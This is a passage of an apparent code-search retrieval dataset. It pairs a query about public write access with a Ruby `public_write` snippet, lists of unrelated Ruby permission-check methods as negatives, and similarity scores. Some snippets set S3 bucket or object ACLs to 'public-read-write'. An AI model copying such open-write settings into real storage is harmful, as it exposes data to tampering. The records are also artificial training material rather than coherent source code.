write?(person, client)\n return read?(person, client) && (owner == person || ! read_only || (!person.nil? && person.moderator?(client)))\n end", "def public?\n @public\n end", "def everyone(read, write)\n apply(PUBLIC, read, write)\n permissions[PUBLIC]\n end", "def writable(*fields)\n added_fields = add_fields(@write_mask,\"writable\",fields)\n allow(*fields)\n @write_mask = added_fields if(@write_mask.eql?(WILDCARD))\n added_fields\n end", "def writable?\n new? ? (root? || parent.access?(:create)) : access?(:write)\n end", "def is_public?\n return true if self.statut == \"public\"\n end", "def public?( revset=nil )\n\t\treturn self.phase( revset ).values.all?( :public )\n\tend", "def attr_with_writable_flag?\n method_name == :attr && args.any? && args.last.type == :true\n end", "def file_public_write\n if $item_public_write.variable() == 1\n $s3.client.put_object_acl(acl: ' public-read-write',\n bucket: $bucket,\n key: $bucket_item)\n else\n $s3.client.put_object_acl(acl: 'private',\n bucket: $bucket,\n key: $bucket_item)\n end\n end", "def writer?(user)\n public_write || permitted?(writers_join_table, user)\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def public?\n # first line just for formatting\n false || \\\n bucket_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AllUsers/ } || \\\n bucket_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AuthenticatedUsers/ } || \\\n bucket_policy.any? { |s| s.effect == \"Allow\" && s.principal == \"*\" }\n end", "def is_public?\n true\n end", "def public?\n ( new_record? ? username : username_was ) == 'Public'\n end", "def user_can_write(user)\n if (self.writing? or self.rejected?) and (self.user == user or self.book.project.owner == user or user.id == 1) then\n return true\n else\n return false\n end\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def public_reader?\n @reader_visibility == :public\n end", "def writeable?\n true\n end", "def check_write_access(obj)\n return obj unless LinkedData.settings.enable_security\n if obj.is_a?(LinkedData::Models::Base) && obj.write_restricted?\n writable = obj.writable?(env[\"REMOTE_USER\"])\n error 403, \"Access denied for this resource\" unless writable\n end\n end", "def make_public\n update_attribute( :is_public, true )\n end", "def public?\n # first line just for formatting\n false || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AllUsers/ } || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AuthenticatedUsers/ }\n end", "def readonly? \n return true\n end", "def readonly?; true; end", "def readonly?; true; end", "def readonly?; true; end", "def publishable?(user)\n user.present? && !public?\n end", "def readonly?\n return true\n end", "def is_public?\n is_public == true && requires_login == false\n end", "def make_permission_public(name)\n permission(name).is_public\n end", "def writable?(base)\n info = nil\n\n begin\n info = query(base)\n rescue\n end\n\n if ((info != nil) &&\n (info['Available'] == false) &&\n (info['Protect'] & PROT_WRITE == PROT_WRITE))\n return true\n end\n\n return false\n end", "def public_access?(perm_symbol)\n obj = find_permission_object(perm_symbol)\n obj.nil? ? false : obj.public_access? \n end", "def writeable?\n return @access_mode == Pho::READ_WRITE\n end", "def is_editable?\n is_public\n end", "def is_public=( f )\n self.update_item_flag = ( is_public != f )\n write_attribute( :is_public, f ) if self.update_item_flag\n end", "def can_set_write_concern?\n !sharded? || !scram_sha_256_enabled?\nend", "def is_writable?\n any?(&:writable?)\n end", "def member_addable_by?(actor)\n return true if public?\n return false\n end", "def mutable?\n writable?\n end", "def private?\n !public? && !for_profit?\n end", "def write_permitted?\n return (acting_user.administrator? || users.member?(acting_user))\n end", "def public?\n # If it's not in a group, it's public\n if group\n !group.private\n else\n true\n end\n end", "def open_to_public?\n allow_external_students? || allow_external_volunteers?\n end", "def read_write?\n if self_owned?\n true\n elsif plan.self_owned?\n owners.all? { |p| plan.owned_by?(p) }\n end\n end", "def can_write?\n can?('w')\n end", "def readonly?\n self.key == 'admin'\n end", "def private?\n self.private\n end", "def writeable?\n status_flag?(:kSecWritePermStatus)\n end", "def readonly?\n true\n end", "def bucket_public_read\n if $bucket_public_read.variable() == 1\n $s3.client.put_bucket_acl(acl: 'public-read', bucket: $bucket)\n else\n $s3.client.put_bucket_acl(acl: 'private', bucket: $bucket)\n end\n end", "def get_read_access( u)\n \n return (u == self.user) || (self.public)\n \n \n end", "def writable?\n !(@settings[:user].nil?)\n end", "def not_private\n !self.private\n end", "def readonly?() \n return true\n end", "def create?\n @user&.admin?\n end", "def is_reader?(user)\n public || permitted?(readers_join_table, user)\n end", "def write_permitted?\n return acting_user.administrator?\n end", "def read_write?\n\t owners.include?(Distributed) || Distributed.updating?(self)\n\tend", "def standard_authorized_user_rights\n public_access + protected_access \n end", "def test_unaltered_public_accessors_still_work_normally\n @foo.pub_read1.must_equal \"pub_read1\"\n @foo.pub_read2.must_equal \"pub_read2\"\n end", "def everyone_can_contribute?\n return false if private?\n self.who_can_upload == WHO_EVERYONE\n end", "def accessible?\n admin? || owner? || @project.is_open_source?\n end", "def readonly?\n true\n end", "def read_only\n true\n end", "def can_edit?\n can_write? && (account_is_owner? || account_is_collaborator?)\n end", "def is_readonly?\n in_role?('readonly') || has_no_role?\n end", "def read_only\n false\n end", "def private?\n private\n end", "def private?\n private\n end", "def setup_accessible?\n setup || is_admin\n end", "def priv?\n !org?\n end" ]
[ "0.7049207", "0.69965374", "0.69866514", "0.6872203", "0.6838355", "0.6768611", "0.6737977", "0.6708214", "0.66859204", "0.6680215", "0.66389877", "0.6602248", "0.6596751", "0.6596751", "0.6593567", "0.65919363", "0.65503883", "0.6549893", "0.6544702", "0.6533534", "0.65208256", "0.6484049", "0.6483992", "0.6462753", "0.6447483", "0.6441505", "0.6430556", "0.642618", "0.64046526", "0.64046526", "0.6399597", "0.63919055", "0.63238084", "0.63170224", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.6310902", "0.63006496", "0.63001096", "0.62783897", "0.6275765", "0.6256849", "0.62522876", "0.6252042", "0.6252042", "0.6252042", "0.62257445", "0.62257427", "0.62238777", "0.62238604", "0.62109196", "0.6200883", "0.6192827", "0.61854035", "0.61850417", "0.61775553", "0.6167115", "0.6154216", "0.6138415", "0.6135602", "0.612161", "0.61094344", "0.60969526", "0.609654", "0.60889536", "0.60838246", "0.6078552", "0.607851", "0.6064966", "0.6049638", "0.6043121", "0.6028036", "0.60271007", "0.6016752", "0.6016514", "0.6015404", "0.60030645", "0.5999348", "0.5992956", "0.5984432", "0.5971634", "0.59713715", "0.5970659", "0.5963721", "0.5951029", "0.5948111", "0.59452343", "0.59434825", "0.59434825", "0.59376645", "0.5934493" ]
0.81533474
0
Is this group writable by the general public?
def public_write @public_write ||= public_write_was end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def public_write_was\n writer_group_ids == [UserGroup.all_users.id]\n end", "def group_writable?(mode)\n mode & 00020 == 00020\n end", "def public?\n # If it's not in a group, it's public\n if group\n !group.private\n else\n true\n end\n end", "def may_read_groups?\n\t\t\tmay_administrate?\n\t\tend", "def may_read_group?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend", "def group_owner?\n super\n end", "def group_owner?\n super\n end", "def public?\n # first line just for formatting\n false || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AllUsers/ } || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AuthenticatedUsers/ }\n end", "def private_visibility?\n try(:read_groups).blank?\n end", "def may_update_group?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend", "def group_member?\n kind == 'group_member'\n end", "def may_read_group_memberships?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend", "def may_create_groups?\n\t\t\tmay_administrate?\n\t\tend", "def require_member_of_group_if_private\n if !current_group.public\n require_member_of_group\n end\n end", "def fully_public?\n public && public_write\n end", "def writable?() end", "def can_edit\n producer.admin?(user) || group_admin?\n end", "def grpowned?() end", "def groups_access_permission?\n return true if !respond_to?(:permissions?)\n\n permissions?('ticket.agent')\n end", "def writable?\n (mode & P_USR_W) != 0 || (mode & P_GRP_W) != 0 || (mode & P_OTH_W) != 0\n end", "def restricted?\n self.groups.any?\n end", "def public?\n self.mode == PUBLIC\n end", "def public?\n # first line just for formatting\n false || \\\n bucket_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AllUsers/ } || \\\n bucket_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AuthenticatedUsers/ } || \\\n bucket_policy.any? { |s| s.effect == \"Allow\" && s.principal == \"*\" }\n end", "def public_writer?\n @writer_visibility == :public\n end", "def can_edit?(user)\n group.can_edit?(user) # only let admins of a group edit an event\n end", "def group_owner_entry?\n group_entry? && principle == \"GROUP\"\n end", "def editable?\n @al_asset_group.editable?\n end", "def public?\n self.privacy == PUBLIC\n end", "def current_user_can_write_to_collection?\n session[:group_id] && current_group.user_has_permission?(current_uid, 'write')\n end", "def may_launch? (definition)\n is_admin? or (self.groups & definition.groups).size > 0\n end", "def public?\r\n restriction_level == Relationshiptype.everyone\r\n end", "def group_admin?\n return false unless group\n\n group.admin?(user)\n end", "def may_create_group_membership?(group)\n\t\t\t!is_group_member?(group)\n\t\tend", "def can_manage_group?(project, group)\n group.is_child_of?(project)\n end", "def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end", "def may_read_group_announcements?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend", "def group?(group)\n\t\t\tend", "def settable?()\n @definition.writeable?\n end", "def group?\n members.count > 2 or self[:name].present?\n end", "def is_editable?\n is_public\n end", "def can_create? cuser\n cuser and cuser.admin? or cuser.groups.exists? :id => Group::MOVIES\nend", "def may_create_group_announcements?(group)\n\t\t\tmay_administrate? || is_group_editor?(group)\n\t\tend", "def read_allowed?(user)\n return false if self.draft && self.user != user\n all_categories_public = (self.categories.detect { |c| !c.public }).nil?\n return true unless self.group_restrictions.any? || (user.nil? && !all_categories_public)\n return true if self.group_restrictions.empty? && user && all_categories_public\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil?\n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false \n end", "def may_update_group_announcements?(group)\n\t\t\tmay_administrate? || is_group_editor?(group)\n\t\tend", "def priviledged?\n @priviledged\n end", "def is_writable?\n any?(&:writable?)\n end", "def priv?\n !org?\n end", "def is_member_of?(group)\n group.owner?(current_person) or Membership.accepted?(current_person, group)\n end", "def group_readable?(mode)\n mode & 00040 == 00040\n end", "def mutable?\n writable?\n end", "def may_destroy_group?(group)\n\t\t\tmay_administrate?\n\t\tend", "def group?\n true\n end", "def writable?\n new? ? (root? || parent.access?(:create)) : access?(:write)\n end", "def may_update_group_membership?(membership)\n\t\t\tmay_administrate? || is_group_moderator?(membership.group)\n\t\tend", "def writeable?\n status_flag?(:kSecWritePermStatus)\n end", "def ismemberof\n []\n end", "def permitted_to_publish?\n @pcp_subject.user_is_owner_or_deputy?( current_user, @pcp_subject.current_step.acting_group_index )\n end", "def member_of?(group)\n cn_groups.include?(group)\n end", "def group?\n proprieties[:group]\n end", "def public_access?(perm_symbol)\n obj = find_permission_object(perm_symbol)\n obj.nil? ? false : obj.public_access? \n end", "def member_addable_by?(actor)\n return true if public?\n return false\n end", "def read_allowed?(user)\n return true unless self.group_restrictions.any? || (user.nil? && self.categories.detect { |c| !c.public })\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil? \n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false\n end", "def has_group_permission?(permission)\n return false unless group\n return true if is_admin?\n member? && member.has_permission?(permission)\n end", "def everyone_can_contribute?\n return false if private?\n self.who_can_upload == WHO_EVERYONE\n end", "def writeable?\n !readonly?\n end", "def belongs_to_group?\n self.group ? true : false\n end", "def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end", "def is_public?\n self.is_public\n end", "def allow_member?\n true\n end", "def group_assignment?\n invalid_override || group_max > 1\n end", "def may_read_group_membership?(membership)\n\t\t\tmay_administrate? || is_group_reader?(membership.group) || self == membership.user\n\t\tend", "def group_valid?(name, resource)\n self.class.groups.rindex{|g| g.name == name} != nil\n end", "def admin?\n Group.find('admin').members.member?(self)\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def public_writer?\n options[:writer] == :public\n end", "def authorized_for_read?\n return true if !existing_record_check?\n if !current_user.nil?\n if current_user.has_role?(:admin)\n return true\n else\n return !current_user.groups.map{|g| g.is_a?(Group) ? g.id : g}.index(self.group_id).nil?\n end\n else\n return false\n end\n end", "def readonly?\n self.key == 'admin'\n end", "def private?\n return (self.owner_id != 0)\n end", "def add_group_permission(g)\n\t\t\n\tend", "def public?\n !private\n end", "def writeable?\n true\n end", "def moderator?\n groups.exists? id: Group::GATHER_MODERATORS\n end", "def members_only?\n true \n end", "def members_only?\n false \n end", "def public?\n !private?\n end", "def private?\n self.private\n end", "def owns?(group)\n return if group.class != Group\n self.groups.any? {|g| g[:id] == group.id}\n end", "def protected?\n !removable?\n end", "def writable?(base)\n info = nil\n\n begin\n info = query(base)\n rescue\n end\n\n if ((info != nil) &&\n (info['Available'] == false) &&\n (info['Protect'] & PROT_WRITE == PROT_WRITE))\n return true\n end\n\n return false\n end", "def group_admin? group\n g = group.groups_userss.detect{|i| i.user_id == session[:id]}\n g.is_admin unless g.nil?\n end", "def make_permission_public(name)\n permission(name).is_public\n end", "def groupable?\n return false if multiple?\n\n human_readable?\n end", "def authorization_required\n return true if admin?\n\n if !@group.can_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end", "def private?\n !self.public\n end", "def in_group?(group)\n @groups.include? group\n end", "def is_member_of?(group)\n current_person.dogs.include?(group.owner) or Membership.accepted_by_person?(current_person, group)\n end", "def administrator?\n immortal? or groups.find_by_administrators true\n end", "def private?\n self.private\n end" ]
[ "0.7726476", "0.75593585", "0.75536776", "0.73978823", "0.7220499", "0.71027696", "0.71027696", "0.7004807", "0.699765", "0.6978275", "0.69708526", "0.6961961", "0.6933053", "0.6871112", "0.68504506", "0.68293786", "0.6814611", "0.68134564", "0.6767741", "0.6756707", "0.6749516", "0.66986203", "0.66601634", "0.66479135", "0.6630132", "0.66259706", "0.6621838", "0.6612125", "0.6602358", "0.6596176", "0.6576065", "0.6565452", "0.656443", "0.6561103", "0.6549749", "0.6546221", "0.65393895", "0.6536198", "0.6533076", "0.65062964", "0.6496172", "0.6493069", "0.6489336", "0.64892167", "0.6488059", "0.64806825", "0.64682007", "0.6467382", "0.64641565", "0.646026", "0.64455175", "0.6436784", "0.6420012", "0.6416083", "0.64126265", "0.64066994", "0.63998765", "0.63953024", "0.6394218", "0.6388213", "0.6386626", "0.6368837", "0.6363984", "0.6363817", "0.6360754", "0.6359826", "0.6356634", "0.6351183", "0.6327486", "0.63230455", "0.6295997", "0.6284309", "0.62829196", "0.6281523", "0.6281523", "0.62736094", "0.62736094", "0.62713385", "0.62634045", "0.6262369", "0.6258539", "0.62555826", "0.62551105", "0.6246286", "0.6235194", "0.6233285", "0.62292206", "0.6229174", "0.6223873", "0.6223585", "0.62039804", "0.61864156", "0.6179722", "0.61763984", "0.61731076", "0.61681074", "0.6165139", "0.6156732", "0.614797", "0.6147885", "0.61420316" ]
0.0
-1
Get the initial state of +public_write+ before modification by form.
def public_write_was writer_group_ids == [UserGroup.all_users.id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def public_write\n @public_write ||= public_write_was\n end", "def readonly\n true\n end", "def readonly?; true; end", "def readonly?; true; end", "def readonly?; true; end", "def pub_state\n my_state = read_attribute(:pub_state)\n return my_state unless my_state.nil?\n\n my_state = calculated_pub_state\n update_column(:pub_state, my_state) # avoid any callbacks and validations which will only stir up trouble\n my_state\n end", "def read_only?; end", "def read_only?; end", "def is_public=( f )\n self.update_item_flag = ( is_public != f )\n write_attribute( :is_public, f ) if self.update_item_flag\n end", "def readonly!\n @readonly = true\n end", "def writeable?\n !readonly?\n end", "def writable?() end", "def readonly?\n false\n end", "def read_only\n false\n end", "def readonly?\n false\n end", "def readonly?\n false\n end", "def readonly?\n false\n end", "def readonly?\n true\n end", "def read_only\n true\n end", "def make_public\n self.private = false\n save\n self.collaborators.clear # remove collaborators when user is downgraded, and wiki is made public\n end", "def fully_public?\n public && public_write\n end", "def public!\n self.status = Status::PUBLIC\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?\n true\n end", "def readonly?() \n return true\n end", "def __state_internal\n @state\n end", "def make_public\n update_attribute( :is_public, true )\n end", "def mutable?\n writable?\n end", "def writable?\n new? ? (root? || parent.access?(:create)) : access?(:write)\n end", "def readonly?\n @readonly == true\n end", "def readonly?\n @readonly == true\n end", "def readonly? \n return true\n end", "def readonly?\n @readonly\n end", "def readonly?\n return true\n end", "def public_writer?\n @writer_visibility == :public\n end", "def readonly! #:nodoc:\n @readonly = true\n end", "def readonly?\n persisted?\n end", "def no_read!\n @write = false\n end", "def set_IsPublic(value)\n set_input(\"IsPublic\", value)\n end", "def set_IsPublic(value)\n set_input(\"IsPublic\", value)\n end", "def to_none\n self.public = true\n end", "def read_only?\n @read_only\n end", "def publicize\n @access_control = 'public'\n end", "def bucket_public_write\n if $bucket_public_write.variable() == 1\n $s3.client.put_bucket_acl(acl: 'public-read-write',bucket: $bucket)\n else\n $s3.client.put_bucket_acl(acl: 'private',bucket: $bucket)\n end\n end", "def publicly_accessible\n data[:publicly_accessible]\n end", "def publicly_accessible\n data[:publicly_accessible]\n end", "def request_is_readonly?\n true\n end", "def is_read_only\n return @is_read_only\n end", "def write_state; end", "def write_state; end", "def read_only?\n @read_only\n end", "def internal(set_internal = true)\n @internal = set_internal\n end", "def file_public_write\n if $item_public_write.variable() == 1\n $s3.client.put_object_acl(acl: ' public-read-write',\n bucket: $bucket,\n key: $bucket_item)\n else\n $s3.client.put_object_acl(acl: 'private',\n bucket: $bucket,\n key: $bucket_item)\n end\n end", "def public_on\n attribute_fixed?(:public_on) ? fixed_attributes[:public_on] : public_version&.public_on\n end", "def public_writer?\n options[:writer] == :public\n end", "def mark_as_read!\n update_attributes(read: true)\n end", "def writeable?\n true\n end", "def no_write!\n @write = false\n end", "def publish!\n @new = true if self.private?\n self.status = statuses.public\n self.save!\n end", "def public_readable_state?\n return true unless manages_state?\n workflow_class.public_read_states.include? Array.wrap(state).first.underscore\n end", "def read_only\n @attributes[:read_only]\n end", "def readonly?\n raise \"Not yet implemented\"\n end", "def mutability\n return @mutability\n end", "def settable?()\n @definition.writeable?\n end", "def writable?\n transient? || (filename && filename.writable?)\n end", "def mark_as_read()\n update_attribute('read', true)\n end", "def readonly?\n frozen?\n end", "def read_only_recommended\n @read_only = 2\n end", "def mark_as_read\n self.update(read: true)\n end", "def public?\n @public\n end", "def writable_real?() end", "def read_data_permitted?\n return write_data_permitted?\n end", "def write_initial_state\n write_attribute self.class.workflow_column, current_state.value\n end", "def bucket_public_read\n if $bucket_public_read.variable() == 1\n $s3.client.put_bucket_acl(acl: 'public-read', bucket: $bucket)\n else\n $s3.client.put_bucket_acl(acl: 'private', bucket: $bucket)\n end\n end", "def mark_as_read\n update_attributes(is_read: true)\n end", "def pending_write?; end", "def is_editable?\n is_public\n end", "def read_permitted?\n true\n end", "def mark_as_read\n update_attributes(:is_read => true)\n end", "def mark_as_read\n update_attributes(:is_read => true)\n end", "def set_published_state; end", "def modifiable?\n !(self.complete? || self.ready_to_post?)\n end", "def file_public_read\n if $item_public_read.variable() == 1\n $s3.client.put_object_acl(acl: 'public-read',\n bucket: $bucket,\n key: $bucket_item)\n else\n $s3.client.put_object_acl(acl: 'private',\n bucket: $bucket,\n key: $bucket_item)\n end\n end", "def set_readonly\n readonly! if persisted? && !parent\n end", "def allow_publication\n\n if new_state=publishing_workflow.next_state(self, PublishingAction::ALLOW)\n\n self.publishing_state_id = new_state.id\n if new_state != PublishingState::BANNED\n self.publishing_allowed_date = Time.now\n self.publishing_allowed_user = connected_user.username\n end\n\n save if self.respond_to?(:save)\n BusinessEvents::BusinessEvent.fire_event(:publication_allowed, publication_info)\n\n end\n\n\n end", "def is_read_only=(value)\n @is_read_only = value\n end", "def write_initial_state\n write_attribute self.class.workflow_column, current_state.to_s\n end", "def write_initial_state\n write_attribute self.class.workflow_column, current_state.to_s\n end", "def resume_write\n @state = :ready\n @handler.on_writable self\n end", "def test_unaltered_public_accessors_still_work_normally\n @foo.pub_read1.must_equal \"pub_read1\"\n @foo.pub_read2.must_equal \"pub_read2\"\n end" ]
[ "0.77478987", "0.6171506", "0.6081825", "0.6081825", "0.6081825", "0.6062042", "0.6032039", "0.6032039", "0.60052", "0.59060866", "0.58856785", "0.58453465", "0.5844713", "0.581846", "0.58177435", "0.58177435", "0.58177435", "0.5812788", "0.58107674", "0.58050156", "0.57946277", "0.5783539", "0.5776859", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.5753176", "0.57328314", "0.57243556", "0.5718621", "0.5710932", "0.5693907", "0.56838864", "0.56838864", "0.5679341", "0.56780267", "0.5663866", "0.5636715", "0.5628474", "0.56173396", "0.5604377", "0.55945474", "0.55945474", "0.55579257", "0.5551555", "0.5549704", "0.55391884", "0.55334145", "0.55334145", "0.5504855", "0.5479821", "0.5471798", "0.5471798", "0.54687583", "0.5462539", "0.5438374", "0.541722", "0.5417078", "0.54166675", "0.5405406", "0.54041284", "0.53962183", "0.53941846", "0.538932", "0.5388554", "0.5377475", "0.5375226", "0.5371915", "0.5367036", "0.5355204", "0.5354292", "0.5351329", "0.53470945", "0.5346218", "0.53391165", "0.53354007", "0.5332126", "0.5306254", "0.5298986", "0.5297114", "0.52915806", "0.5279854", "0.5279854", "0.5279637", "0.5274912", "0.52494484", "0.5242388", "0.5237799", "0.52362305", "0.52333075", "0.52333075", "0.52260166", "0.5222978" ]
0.0
-1
:section: Title/Name Formats Descriptive title including parent name, in plain text.
def text_name put_together_name(:full).t.html_to_ascii end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def section_title(title)\n end", "def section_title_for(node)\n title = nil\n\n while node && defined?(node.parent) && (node != body)\n if node.name == 'sec'\n title_node = node.css('> title')\n title = title_node.text if title_node.present? && title_node.text\n end\n\n node = node.parent\n end\n\n title\n end", "def section_title\n object.title\n end", "def toc_title(item)\n case item.type\n when \"section\"\n if not item.heading or item.heading.empty?\n \"Section #{item.num}\" \n elsif item.num\n \"#{item.num} #{item.heading}\"\n else\n item.heading\n end\n when \"part\", \"chapter\"\n \"#{item.type.capitalize} #{item.num} - #{item.heading}\"\n else\n if item.heading? and !item.heading.empty?\n item.heading\n else\n s = item.type.capitalize\n s += \" #{item.num}\" if item.num\n s += \" - #{item.heading}\" if item.heading\n s\n end\n end\n end", "def sectiontitle(value)\n merge(sectiontitle: value.to_s)\n end", "def full_name\n self.name + ' ' + self.section\n end", "def _get_section_title(line)\n section_matcher = line.match(SECTION_REGEX)\n unless section_matcher\n return nil\n end\n\n section = section_matcher[0]\n\n # Remove the brackets around the name\n section = section[1..section.length - 2]\n\n if section =~ /\\s/\n raise 'Section name may not contain whitespace: ' << section\n end\n\n section\n end", "def title(section_id)\n @sections[section_id || 1]\n end", "def current_section_title\n \t\"<h1 class=\\\"#{current_section} sectiontitle\\\">#{current_section.capitalize}</h1>\"\n end", "def comments_section_title\r\n 'What are people saying?'\r\n end", "def title_for_heading(parent_titles = Array.new)\n if parent_titles.length > 0\n [parent_titles, self.term_to_html(\"unittitle\")].join(\" >> \")\n else\n self.term_to_html(\"unittitle\")\n end\n end", "def description_section(title, body)\n \"[#{sane title}]: #{sane body}\"\n end", "def section_title(title)\n @engine = title.include?(' ') ? title.rpartition(' ')[2] : title\n end", "def full_title\n t = \"\"\n if parent\n t = parent.full_title + \"/\"\n end\n return t + title\n end", "def full_title\n \"#{namespace}:#{title}\"\n end", "def full_title\n if BoB::Application.config.show_chapter_no and not root?\n chapter_no.join('.') + '. ' + title\n else\n title\n end\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def format_name\n title\n end", "def layout_chapter_title node, title, opts = {}\n puts 'Processing node.id:' + node.id\n puts 'Processing title:' + title\n if title == \"Preface\" or title.include? \"Appendix\"\n move_down 1\n typeset_text title, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 21\n stroke_horizontal_rule '000000', line_width: 0.5, line_style: :solid\n else\n num_chapter, title = title.split '.', 2\n typeset_text num_chapter, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 15\n move_down 1\n stroke_horizontal_rule '000000', line_width: 0.5, line_style: :solid\n typeset_text title, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 21\n end\n move_down 50\n end", "def layout_part_title node, title, opts = {}\n puts 'Processing node.id:' + node.id\n puts 'Processing title:' + title\n num_part, title = title.split ':', 2\n move_down 150\n typeset_text num_part + \"\\n\" + title, (calc_line_metrics 1.5), inline_format: true, align: :center\n end", "def name_with_title\n \"#{self.name}: #{self.title}\"\n end", "def title\n return \"\" unless parent\n Array(parent.title).first.to_s\n end", "def format_title_and_ref(node)\n conv_info = node.data\n\n # Use docid and title in title reference\n title_ref = (conv_info.docid.nil? ? \"\" : \"#{conv_info.docid} - \") + conv_info.title\n\n # find relative source path from the file to this tree's root\n p = node.pathname.relative_path_from(@tree.pathname).sub_ext(\".adoc\")\n\n # remove html markup in the title for displaying in the tree\n stripped_title = title_ref.gsub(/<.*?>/, \"\")\n [stripped_title, \"<<#{p}#,#{stripped_title}>>\",\n \"<<#{Giblish.to_valid_id(node.pathname.to_s, \"_\", \"_\", true)},details>>\\n\"]\n end", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def title_name; end", "def title\n name.capitalize.bold.sub('_', ' ')\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def chapter_title\n self.part_title_by_type('Chapter')\n end", "def title\n @category.split(':')[@depth-1].to_s.strip\n end", "def section_name(section_options, parent_section_options)\n section_name = extract_name(parent_section_options)\n section_name = extract_name(replace_section_name(section_options)) if section_name.nil?\n section_name\n end", "def title\n @title ||= heirarchy.full_name\n end", "def sections_section_title( plain_text = false ) \n if ( @sections_last_project.nil? )\n return 'No customer, no project'\n elsif ( @sections_last_customer.nil? )\n if ( plain_text )\n return \"(No customer) #{ @sections_last_project.title }\"\n else\n return \"(No customer) #{ sections_augmented_link( @sections_last_project ) }\".html_safe()\n end\n else\n if ( plain_text )\n return \"Customer #{ @sections_last_customer.title } - #{ @sections_last_project.title }\"\n else\n return \"Customer #{ sections_augmented_link( @sections_last_customer ) } - #{ sections_augmented_link( @sections_last_project ) }\".html_safe()\n end\n end\n end", "def format_title_and_ref(doc_info)\n unless doc_info.title\n @nof_missing_titles += 1\n doc_info.title = \"NO TITLE FOUND (#{@nof_missing_titles}) !\"\n end\n\n # Manipulate the doc title if we have a doc id\n title = if !doc_info.doc_id.nil? && @manage_docid\n \"#{doc_info.doc_id} - #{doc_info.title}\"\n else\n doc_info.title\n end\n\n [title, \"<<#{doc_info.rel_path}#,#{title}>>\",\n \"<<#{Giblish.to_valid_id(doc_info.title)},details>>\\n\"]\n end", "def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "def get_title(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"Where\")\n title = description.split(\"Where\")[0]\n # Title must fit on single line\n title.gsub!(\"\\n\", \" \").strip!\n title\n else\n super(n)\n end\n else\n super(n)\n end\n end", "def flatiron_title_descend_01\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts 